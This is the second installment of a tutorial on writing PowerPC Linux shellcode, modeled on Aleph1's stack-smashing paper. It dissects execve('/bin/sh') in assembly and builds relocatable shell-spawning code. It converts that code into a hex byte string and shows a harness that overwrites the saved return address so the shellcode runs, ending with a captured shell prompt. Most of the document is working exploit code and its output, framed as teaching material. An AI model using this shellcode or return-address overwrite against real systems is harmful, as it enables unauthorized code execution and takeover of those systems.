Christopher A Shepherd
<cshepher@linux-florida.com>
In the last episode, we showed that it
was possible to overwrite the return address with careful stack manipulation and
execute the code of our choice. In this installment, we’ll dig a bit deeper and
write our own PowerPC eggshell code.
The first thing we want to do (and
again folks, this really is a carbon copy of Aleph1′s Intel-based explanation)
is to run a sample program that spawns a shell, because presumably that’s what
our evil code will do. Thus:
#includevoid main() {
char *name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve( name[0], name, NULL );
}
Now, we compile this program using gcc -static, because we’re also
going to examine the internals of __execve, which would otherwise by dynamically
linked, and thus harder to examine.
The main() itself looks like…
main:stwu 1,-32(1) ; grab 32 bytes for stack frame
mflr 0 ; r0 = return address
stw 31,28(1) ; sp+28 = old frame pointer
stw 0,36(1) ; sp+36 (caller’s frame) = returrn address
mr 31,1 ; fp = sp
lis 9,.LC0@ha ; get high word in r9
la 0,.LC0@l(9) ; get full longword in r0
stw 0,8(31) ; fp+8 = ptr to ‘/bin/sh’
li 0,0
stw 0,12(31) ; fp+12 = 0 (NULL)
lwz 3,8(31) ; r3 = ptr to address of /bin/sh
addi 4,31,8 ; r4 = address of /bin/sh
li 5,0 ; r5 = NULL
crxor 6,6,6
bl execve ; execve()
.L2:
lwz 11,0(1) ; prologue… r11 = sp+0 = old stack ptr
lwz 0,4(11) ; r0 = sp+4
mtlr 0 ; grab old return address
lwz 31,-4(11) ; grab old frame ptr
mr 1,11 ; restore stack ptr
blr ; go home
So notice that we find the address of “/bin/sh” and save it in r3.
This is because the first argument is char *. The second argument is char **,
so, did you guess this already? We save the address of the string somewhere and
save the address of that address (**) in r4. We also stash a NULL pointer right
after the valid pointer. This is the proper way to terminate a **. r5 gets set
to 0, so apparently a NULL pointer on powerpc is expressed as a literal zero. Do
not expect this on other arches.
Then, we just call execve, which looks
like:
10004f18 <__execve>:10004f18: 94 21 ff e0 stwu r1,-32(r1) ; grab 32 bytes
10004f1c: 7c 08 02 a6 mflr r0 ; r0 = old ret
10004f20: 93 a1 00 14 stw r29,20(r1) ; sp+20 = r29
10004f24: 93 c1 00 18 stw r30,24(r1) ; sp+24 = r30
10004f28: 93 e1 00 1c stw r31,28(r1) ; sp+28 = r31
10004f2c: 90 01 00 24 stw r0,36(r1) ; sp+36 = ret
10004f30: 3d 20 00 00 lis r9,0 ; r9 = 0
10004f34: 39 29 00 00 addi r9,r9,0
10004f38: 2c 09 00 00 cmpwi r9,0
10004f3c: 7c 7f 1b 78 mr r31,r3 ; r31 = arg1 char*
10004f40: 7c 9e 23 78 mr r30,r4 ; r30 = arg2 char**
10004f44: 7c bd 2b 78 mr r29,r5 ; r29 = arg3 NULL
10004f48: 41 82 00 08 beq 10004f50 <__execve+0×38>
10004f4c: 4b ff b0 b5 bl 10000000 <_start-0xc0>
10004f50: 7f e3 fb 78 mr r3,r31 ; r3 = arg1 char*
10004f54: 7f c4 f3 78 mr r4,r30 ; r4 = arg2 char**
10004f58: 7f a5 eb 78 mr r5,r29 ; r5 = arg3 NULL
10004f5c: 4c c6 31 82 crclr 4*cr1+eq
10004f60: 48 00 00 f9 bl 10005058 <__syscall_execve>
10004f64: 80 01 00 24 lwz r0,36(r1) ; prologue
10004f68: 7c 08 03 a6 mtlr r0
10004f6c: 83 a1 00 14 lwz r29,20(r1)
10004f70: 83 c1 00 18 lwz r30,24(r1)
10004f74: 83 e1 00 1c lwz r31,28(r1)
10004f78: 38 21 00 20 addi r1,r1,32
10004f7c: 4e 80 00 20 blr
… And, sandwiched between that same old prologue and epilogue,
there’s not a lot there, is there? We just preserve r3, r4, and r5 and branch to
syscall_execve, which just does …
10005058 <__syscall_execve>: ; Stub for execve() syscall10005058: 38 00 00 0b li r0,11 ; execve is linux syscall 11
1000505c: 44 00 00 02 sc ; *boom* ‘sc’ system call
10005060: 4c 83 00 20 bnslr ; go home if no error
10005064: 48 00 02 a8 b 1000530c <__syscall_error>
Sets r0 with the system call number (11, execve()), and does an ‘sc’
to software-interrupt us into the system call handler, and Linus and Alan take
it from there.
So, we know what we need to do here. Let’s put it all
together! The first thing to contend with is that our code must be relocatable,
and therefore contain no absolute addresses. This is handled exactly the same
way as on the Intel arch, by jumping to the end of the code and blr’ing back to
the beginning (thus saving the absolute address of the end of the program in the
link register) and allowing us to do our dirty work. Witness:
void main(){
__asm__(”
b .ahead # get cmd’s address
.back:
mflr 0 # r0 = string /bin/sh
mr 1,0
stw 0,8(1) # string+8 contains address of string now
mr 3,0 # r3 = ptr to /bin/sh
addi 4,1,8 # r4 = r1+8 = ptr to ptr
li 5,0 # r5 = NULL
stw 5,12(1) # null ptr in space after ptr
li 0,11 # syscall #11 – execve()
sc # word to your moms. commence dropping bombs.
li 0,1 # syscall #1 – exit()
sc
.ahead:
bl .back # this be our smoove branch
.string \”/bin/sh\”
“);
}
Notice how the first instruction jumps to the end, and we then branch
back, and use mflr to save the address of the string in r0. Notice too that, as
Aleph1 suggests, I inserted a syscall #1 (exit()) after the syscall to prevent
unpredictable behavior after execve() returns.
Now, all we have to do is
make this work. Let’s look at the simplest test case:
char shellcode[] =“INSERT YO WAREZ HERE”;
void main() {
int *ret;
ret = (int *)&ret + 7;
(*ret) = (int)shellcode;
printf(“Hi there.\n”);
}
Notice that main() calls another function, in this case printf(),
because as we said earlier, we don’t get to fiddle with buffer overflows at all
unless LR is preserved on the stack, which only occurs if we call another
function. In case you’re wondering why ret is set equal to &ret + 7, let’s
have a quick look at the stack frame:
main:stwu 1,-32(1)
mflr 0
stw 31,28(1)
stw 0,36(1)
mr 31,1
addi 0,31,36
stw 0,8(31)
You’ve probably read enough of these by now to notice that our stack
frame is only 32 bytes long, and that ret is 8 bytes up from the bottom of that
frame. The ‘addi’ line here is a bit tricky on my toolchain:
When I set
ret = &ret + 2, the addi line read:
addi 0,31,16
What’s happening here is that if you were just setting ret to itself,
you’d get addi 0,31,8, because r31+8 is where ret’s value lives. But as you add
values to ret, you’re incrementing it in full words (4 bytes), thus 8+(7*4) =
36.
Now let’s go back to that k-rad eggshell code we wrote earlier. It
disassembles something like this:
10010540: 48 00 00 30 b 10010570 <shellcode+0×30>10010544: 7c 08 02 a6 mflr r0
10010548: 7c 01 03 78 mr r1,r0
1001054c: 90 01 00 08 stw r0,8(r1)
10010550: 7c 03 03 78 mr r3,r0
10010554: 38 81 00 08 addi r4,r1,8
10010558: 38 a0 00 00 li r5,0
1001055c: 90 a1 00 0c stw r5,12(r1)
10010560: 38 00 00 0b li r0,11
10010564: 44 00 00 02 sc
10010568: 38 00 00 01 li r0,1
1001056c: 44 00 00 02 sc
10010570: 4b ff ff d5 bl 10010544
10010574: 2f 62 69 6e cmpdi cr6,r2,26990
10010578: 2f 73 68 00 cmpdi cr6,r19,26624
1001057c: ff ff ff ff fnmadd. f31,f31,f31,f31
10010580: ff ff ff ff fnmadd. f31,f31,f31,f31
10010584: ff ff ff ff fnmadd. f31,f31,f31,f31
10010588: ff ff ff ff fnmadd. f31,f31,f31,f31
That’s us allright. I put those ff’s at the bottom as… yep, you got
it, room to store the two pointers we generate in the code. Let’s convert this
to hex and plug it in:
/** Almost fully-functional LinuxPPC buffer overflow example
*
* Christopher A Shepherd
*
*/
char shellcode[] =
“\x48\x00\x00\x30″ /* b .ahead */
“\x7c\x08\x02\xa6″ /* mflr 0 */
“\x7c\x01\x03\x78″ /* mr 1,0 */
“\x90\x01\x00\x08″ /* stw 0,8(1) */
“\x7c\x03\x03\x78″ /* mr 3,0 */
“\x38\x81\x00\x08″ /* addi 4,1,8 */
“\x38\xa0\x00\x00″ /* li 5,0 */
“\x90\xa1\x00\x0c” /* stw 5,12(1) */
“\x38\x00\x00\x0b” /* li 0,11 */
“\x44\x00\x00\x02″ /* sc */
“\x38\x00\x00\x01″ /* li 0,1 */
“\x44\x00\x00\x02″ /* sc */
“\x4b\xff\xff\xd5″ /* bl .back */
“\x2f\x62\x69\x6e\x2f\x73\x68\x00″ /* “/bin/sh” */
“\xff\xff\xff\xff” /* room for ptr */
“\xff\xff\xff\xff”
“\xff\xff\xff\xff”
“\xff\xff\xff\xff”;
void main() {
int *ret;
ret = (int *)&ret + 7;
(*ret) = (int)shellcode;
printf(“Hi there.\n”);
}
I don’t know about you, but when I compiled and ran this, I got:
[cshepher@hal9000 egg]$ ./sploitHi there.
sh-2.03$
H0h0h0! We spawned a shell with our evil deed. We’re almost there now,
kids.
In the third installment, we will talk about:
- Getting
those pesky zeroes out of your eggshell code so that they don’t stop
strcpy()
- The Mac OS X Server, Darwin, and OpenBSD stack frames on
PowerPC
- All the hot chicks this is going to get me
Stay
tuned.
-Chris


